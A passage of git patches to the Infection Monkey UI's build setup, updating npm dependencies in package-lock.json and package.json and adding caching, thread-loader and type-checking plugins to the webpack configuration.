"sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.6", + "universalify": "^2.0.0" + } + }, + "lru-cache": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.8.1.tgz", + "integrity": "sha512-E1v547OCgJvbvevfjgK9sNKIVXO96NnsTsFPBlg4ZxjhsJSODoH9lk8Bm0OxvHNm6Vm5Yqkl/1fErDxhYL8Skg==", + "dev": true + }, + "schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + }, + "semver": { + "version": "7.3.6", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.6.tgz", + "integrity": "sha512-HZWqcgwLsjaX1HBD31msI/rXktuIhS+lWvdE4kN9z+8IVT4Itc7vqU2WvYsyD6/sjYCt4dEKH/m1M3dwI9CC5w==", + "dev": true, + "requires": { + "lru-cache": "^7.4.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true + } + } + }, "forwarded": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", @@ -27116,6 +27592,66 @@ "integrity": "sha512-1klA3Gi5PD1Wv9Q0wUoOQN1IWAuPu0D1U03ThXTr0cJ20+/iq2tHSDnK7Kk/0LXJ1ztUB2/1Os0wKmfyNgUQfg==", "dev": true }, + "speed-measure-webpack-plugin": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/speed-measure-webpack-plugin/-/speed-measure-webpack-plugin-1.5.0.tgz", + "integrity": "sha512-Re0wX5CtM6gW7bZA64ONOfEPEhwbiSF/vz6e2GvadjuaPrQcHTQdRGsD8+BE7iUOysXH8tIenkPCQBEcspXsNg==", + "dev": true, + "requires": { + "chalk": "^4.1.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, "sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", @@ -27646,6 +28182,32 @@ "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", "dev": true }, + "thread-loader": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/thread-loader/-/thread-loader-3.0.4.tgz", + "integrity": "sha512-ByaL2TPb+m6yArpqQUZvP+5S1mZtXsEP7nWKKlAUTm7fCml8kB5s1uI3+eHRP2bk5mVYfRSBI7FFf+tWEyLZwA==", + "dev": true, + "requires": { + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.1.0", + "loader-utils": "^2.0.0", + "neo-async": "^2.6.2", + "schema-utils": "^3.0.0" + }, + "dependencies": { + "schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + } + } + }, "through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 74f64cf8f..9d91b3010 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -43,6 +43,7 @@ "eslint": "^6.8.0", "eslint-loader": "^4.0.1", "eslint-plugin-react": "^7.26.1", + "fork-ts-checker-webpack-plugin": "^7.2.4", "glob": "^7.2.0", "html-loader": "^0.5.5", "html-webpack-plugin": "^5.3.2", @@ -52,8 +53,10 @@ "rimraf": "^2.7.1", "sass": "^1.42.1", "sass-loader": "^12.6.0", + "speed-measure-webpack-plugin": "^1.5.0", "style-loader": "^0.22.1", "stylelint": "^13.13.1", + "thread-loader": "^3.0.4", "ts-loader": "^8.3.0", "typescript": "^4.4.3", "webpack": "^5.58.0", diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx index d862bb592..c8bac4396 100644 --- a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx @@ -1,6 +1,6 @@ import React from 'react'; import {Route} from 'react-router-dom'; -import SideNavComponent from '../SideNavComponent.tsx'; +import SideNavComponent from '../SideNavComponent'; import {Col, Row} from 'react-bootstrap'; const SidebarLayoutComponent = ({component: Component, diff --git a/monkey/monkey_island/cc/ui/tsconfig.json b/monkey/monkey_island/cc/ui/tsconfig.json index ada32ea6b..aab78bd6d 100644 --- a/monkey/monkey_island/cc/ui/tsconfig.json +++ b/monkey/monkey_island/cc/ui/tsconfig.json @@ -10,5 +10,8 @@ "include": [ "src" ], - "compileOnSave": false + "compileOnSave": false, + "exclude": [ + "node_modules" + ] } diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index 3f42cb3aa..06878d662 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -1,26 +1,48 @@ const path = require('path'); -const HtmlWebPackPlugin = require("html-webpack-plugin"); -module.exports = { +var isProduction = process.argv[process.argv.indexOf('--mode') + 1] === 'production'; + +const SpeedMeasurePlugin = require('speed-measure-webpack-plugin'); +const HtmlWebPackPlugin = require('html-webpack-plugin'); +const ForkTsCheckerWebpackPlugin = require('fork-ts-checker-webpack-plugin'); +const smp = new SpeedMeasurePlugin({ disable: isProduction }); + + +module.exports = smp.wrap({ + cache: { + type: 'filesystem', + memoryCacheUnaffected: true + }, module: { rules: [ { test: /\.tsx?$/, - loader: "ts-loader" + use: [ 'thread-loader', { + loader: 'ts-loader', + options: { + transpileOnly: true, + happyPackMode: true + } + }] }, { test: /\.js$/, - loader: "source-map-loader" + use: ['thread-loader', 'source-map-loader'], + enforce: 'pre' }, { test: /\.js$/, exclude: /node_modules/, - use: { - loader: "babel-loader", - } + use: [ 'thread-loader', { + loader: 'babel-loader', + options: { + cacheDirectory: true + } + }] }, { test: /\.css$/, use: [ + 'thread-loader', 'style-loader', 'css-loader' ] @@ -28,6 +50,7 @@ module.exports = { { test: /\.scss$/, use: [ + 'thread-loader', 'style-loader', 'css-loader', 'sass-loader' @@ -49,17 +72,25 @@ module.exports = { test: /\.html$/, use: [ { - loader: "html-loader" + loader: 'html-loader' } ] } ] }, - devtool: "source-map", + devtool: isProduction ? 'source-map' : 'eval', plugins: [ + new ForkTsCheckerWebpackPlugin({ + typescript: { + diagnosticOptions: { + semantic: true, + syntactic: true + } + } + }), new HtmlWebPackPlugin({ - template: "./src/index.html", - filename: "./index.html" + template: './src/index.html', + filename: './index.html' }) ], resolve: { @@ -82,4 +113,4 @@ module.exports = { } } } -}; +}); From fd2dc2245c89b2cd0c7aef5cd0d3345010240a35 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 12 Apr 2022 12:20:09 +0200 Subject: [PATCH 1083/1110] UI: Use eval-source-map instead of eval devtool --- monkey/monkey_island/cc/ui/webpack.config.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index 06878d662..bf691a506 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -9,6 +9,7 @@ const smp = new SpeedMeasurePlugin({ disable: isProduction }); module.exports = smp.wrap({ + mode : isProduction ? 'production' : 'development', cache: { type: 'filesystem', memoryCacheUnaffected: true @@ -78,7 +79,7 @@ module.exports = smp.wrap({ } ] }, - devtool: isProduction ? 'source-map' : 'eval', + devtool: isProduction ? 'source-map' : 'eval-source-map', plugins: [ new ForkTsCheckerWebpackPlugin({ typescript: { From 5bed5b7d7cb3fcf62db08494c70436d8e3e09688 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 12 Apr 2022 12:20:50 +0200 Subject: [PATCH 1084/1110] UI: Update the loaders to the latest version --- monkey/monkey_island/cc/ui/package-lock.json | 807 +++++++------------ monkey/monkey_island/cc/ui/package.json | 16 +- 2 files changed, 287 insertions(+), 536 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 6bc3348a5..a06bf5bc3 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -55,7 +55,7 @@ "react-tsparticles": "^1.42.4", "redux": "^4.1.1", "sha3": "^2.1.4", - "source-map-loader": "^1.1.2", + "source-map-loader": "^3.0.1", "tsparticles": "^1.35.4" }, "devDependencies": { @@ -71,16 +71,16 @@ "@types/react": "^16.14.16", "@types/react-dom": "^16.9.14", "babel-eslint": "^10.1.0", - "babel-loader": "^8.2.1", + "babel-loader": "^8.2.4", "copyfiles": "^2.4.0", - "css-loader": "^3.6.0", + "css-loader": "^6.7.1", "eslint": "^6.8.0", "eslint-loader": "^4.0.1", "eslint-plugin-react": "^7.26.1", "fork-ts-checker-webpack-plugin": "^7.2.4", "glob": "^7.2.0", "html-loader": "^0.5.5", - "html-webpack-plugin": "^5.3.2", + "html-webpack-plugin": "^5.5.0", "minimist": "^1.2.6", "npm": "^7.24.2", "null-loader": "^0.1.1", @@ -88,13 +88,13 @@ "sass": "^1.42.1", "sass-loader": "^12.6.0", "speed-measure-webpack-plugin": "^1.5.0", - "style-loader": "^0.22.1", + "style-loader": "^3.3.1", "stylelint": "^13.13.1", "thread-loader": "^3.0.4", - "ts-loader": "^8.3.0", + "ts-loader": "^9.2.8", "typescript": "^4.4.3", - "webpack": "^5.58.0", - "webpack-cli": "^4.9.0", + "webpack": "^5.72.0", + "webpack-cli": "^4.9.2", "webpack-dev-server": "^4.3.1" } }, @@ -4192,60 +4192,160 @@ } }, "node_modules/css-loader": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.6.0.tgz", - "integrity": "sha512-M5lSukoWi1If8dhQAUCvj4H8vUt3vOnwbQBH9DdTm/s4Ym2B/3dPMtYZeJmq7Q3S3Pa+I94DcZ7pc9bP14cWIQ==", + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz", + "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==", "dev": true, "dependencies": { - "camelcase": "^5.3.1", - "cssesc": "^3.0.0", - "icss-utils": "^4.1.1", - "loader-utils": "^1.2.3", - "normalize-path": "^3.0.0", - "postcss": "^7.0.32", - "postcss-modules-extract-imports": "^2.0.0", - "postcss-modules-local-by-default": "^3.0.2", - "postcss-modules-scope": "^2.2.0", - "postcss-modules-values": "^3.0.0", - "postcss-value-parser": "^4.1.0", - "schema-utils": "^2.7.0", - "semver": "^6.3.0" + "icss-utils": "^5.1.0", + "postcss": "^8.4.7", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.0", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.3.5" }, "engines": { - "node": ">= 8.9.0" + "node": ">= 12.13.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/webpack" }, "peerDependencies": { - "webpack": "^4.0.0 || ^5.0.0" + "webpack": "^5.0.0" } }, - "node_modules/css-loader/node_modules/json5": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", - "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "node_modules/css-loader/node_modules/icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", "dev": true, - "dependencies": { - "minimist": "^1.2.0" + "engines": { + "node": "^10 || ^12 || >= 14" }, - "bin": { - "json5": "lib/cli.js" + "peerDependencies": { + "postcss": "^8.1.0" } }, - "node_modules/css-loader/node_modules/loader-utils": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", - "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", + "node_modules/css-loader/node_modules/lru-cache": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.8.1.tgz", + "integrity": "sha512-E1v547OCgJvbvevfjgK9sNKIVXO96NnsTsFPBlg4ZxjhsJSODoH9lk8Bm0OxvHNm6Vm5Yqkl/1fErDxhYL8Skg==", "dev": true, - "dependencies": { - "big.js": "^5.2.2", - "emojis-list": "^3.0.0", - "json5": "^1.0.1" + "engines": { + "node": ">=12" + } + }, + "node_modules/css-loader/node_modules/nanoid": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.2.tgz", + "integrity": "sha512-CuHBogktKwpm5g2sRgv83jEy2ijFzBwMoYA60orPDR7ynsLijJDqgsi4RDGj3OJpy3Ieb+LYwiRmIOGyytgITA==", + "dev": true, + "bin": { + "nanoid": "bin/nanoid.cjs" }, "engines": { - "node": ">=4.0.0" + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/css-loader/node_modules/postcss": { + "version": "8.4.12", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.12.tgz", + "integrity": "sha512-lg6eITwYe9v6Hr5CncVbK70SoioNQIq81nsaG86ev5hAidQvmOeETBqs7jm43K2F5/Ley3ytDtriImV6TpNiSg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + } + ], + "dependencies": { + "nanoid": "^3.3.1", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/css-loader/node_modules/postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/css-loader/node_modules/postcss-modules-local-by-default": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", + "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/css-loader/node_modules/postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/css-loader/node_modules/postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/css-loader/node_modules/semver": { + "version": "7.3.6", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.6.tgz", + "integrity": "sha512-HZWqcgwLsjaX1HBD31msI/rXktuIhS+lWvdE4kN9z+8IVT4Itc7vqU2WvYsyD6/sjYCt4dEKH/m1M3dwI9CC5w==", + "dev": true, + "dependencies": { + "lru-cache": "^7.4.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": "^10.0.0 || ^12.0.0 || ^14.0.0 || >=16.0.0" } }, "node_modules/css-select": { @@ -5009,26 +5109,15 @@ } }, "node_modules/enhanced-resolve": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", - "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==", - "dev": true, + "version": "5.9.2", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.9.2.tgz", + "integrity": "sha512-GIm3fQfwLJ8YZx2smuHpBKkXC1yOk+OBEmKckVyL0i/ea8mqDEykK3ld5dgH1QYPNyT/lIllxV2LULnxCHaHkA==", "dependencies": { - "graceful-fs": "^4.1.2", - "memory-fs": "^0.5.0", - "tapable": "^1.0.0" + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" }, "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/enhanced-resolve/node_modules/tapable": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", - "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", - "dev": true, - "engines": { - "node": ">=6" + "node": ">=10.13.0" } }, "node_modules/entities": { @@ -5052,18 +5141,6 @@ "node": ">=4" } }, - "node_modules/errno": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", - "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", - "dev": true, - "dependencies": { - "prr": "~1.0.1" - }, - "bin": { - "errno": "cli.js" - } - }, "node_modules/error-ex": { "version": "1.3.2", "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", @@ -6921,18 +6998,6 @@ "node": ">=0.10.0" } }, - "node_modules/icss-utils": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-4.1.1.tgz", - "integrity": "sha512-4aFq7wvWyMHKgxsH8QQtGpvbASCf+eM3wPRLI6R+MgAnTCZ6STYsRvttLvRWK0Nfif5piF394St3HeJDaljGPA==", - "dev": true, - "dependencies": { - "postcss": "^7.0.14" - }, - "engines": { - "node": ">= 6" - } - }, "node_modules/ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", @@ -7829,6 +7894,7 @@ "version": "2.2.1", "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz", "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==", + "dev": true, "bin": { "json5": "lib/cli.js" }, @@ -8010,6 +8076,7 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz", "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==", + "dev": true, "dependencies": { "big.js": "^5.2.2", "emojis-list": "^3.0.0", @@ -8358,49 +8425,6 @@ "node": ">= 4.0.0" } }, - "node_modules/memory-fs": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", - "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", - "dev": true, - "dependencies": { - "errno": "^0.1.3", - "readable-stream": "^2.0.1" - }, - "engines": { - "node": ">=4.3.0 <5.0.0 || >=5.10" - } - }, - "node_modules/memory-fs/node_modules/isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true - }, - "node_modules/memory-fs/node_modules/readable-stream": { - "version": "2.3.7", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", - "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", - "dev": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "node_modules/memory-fs/node_modules/string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "dependencies": { - "safe-buffer": "~5.1.0" - } - }, "node_modules/meow": { "version": "9.0.0", "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz", @@ -12464,56 +12488,6 @@ "integrity": "sha1-J7Ocb02U+Bsac7j3Y1HGCeXO8kQ=", "dev": true }, - "node_modules/postcss-modules-extract-imports": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-2.0.0.tgz", - "integrity": "sha512-LaYLDNS4SG8Q5WAWqIJgdHPJrDDr/Lv775rMBFUbgjTz6j34lUznACHcdRWroPvXANP2Vj7yNK57vp9eFqzLWQ==", - "dev": true, - "dependencies": { - "postcss": "^7.0.5" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/postcss-modules-local-by-default": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.3.tgz", - "integrity": "sha512-e3xDq+LotiGesympRlKNgaJ0PCzoUIdpH0dj47iWAui/kyTgh3CiAr1qP54uodmJhl6p9rN6BoNcdEDVJx9RDw==", - "dev": true, - "dependencies": { - "icss-utils": "^4.1.1", - "postcss": "^7.0.32", - "postcss-selector-parser": "^6.0.2", - "postcss-value-parser": "^4.1.0" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/postcss-modules-scope": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-2.2.0.tgz", - "integrity": "sha512-YyEgsTMRpNd+HmyC7H/mh3y+MeFWevy7V1evVhJWewmMbjDHIbZbOXICC2y+m1xI1UVfIT1HMW/O04Hxyu9oXQ==", - "dev": true, - "dependencies": { - "postcss": "^7.0.6", - "postcss-selector-parser": "^6.0.0" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/postcss-modules-values": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-3.0.0.tgz", - "integrity": "sha512-1//E5jCBrZ9DmRX+zCtmQtRSV6PV42Ix7Bzj9GbwJceduuf7IqP8MgeTXuRDHOWj2m0VzZD5+roFWDuU8RQjcg==", - "dev": true, - "dependencies": { - "icss-utils": "^4.0.0", - "postcss": "^7.0.6" - } - }, "node_modules/postcss-resolve-nested-selector": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/postcss-resolve-nested-selector/-/postcss-resolve-nested-selector-0.1.1.tgz", @@ -12758,12 +12732,6 @@ "node": ">= 0.10" } }, - "node_modules/prr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", - "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", - "dev": true - }, "node_modules/psl": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", @@ -14306,32 +14274,28 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", - "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/source-map-loader": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-1.1.3.tgz", - "integrity": "sha512-6YHeF+XzDOrT/ycFJNI53cgEsp/tHTMl37hi7uVyqFAlTXW109JazaQCkbc+jjoL2637qkH1amLi+JzrIpt5lA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.1.tgz", + "integrity": "sha512-Vp1UsfyPvgujKQzi4pyDiTOnE3E4H+yHvkVRN3c/9PJmQS4CQJExvcDvaX/D+RV+xQben9HJ56jMJS3CgUeWyA==", "dependencies": { "abab": "^2.0.5", - "iconv-lite": "^0.6.2", - "loader-utils": "^2.0.0", - "schema-utils": "^3.0.0", - 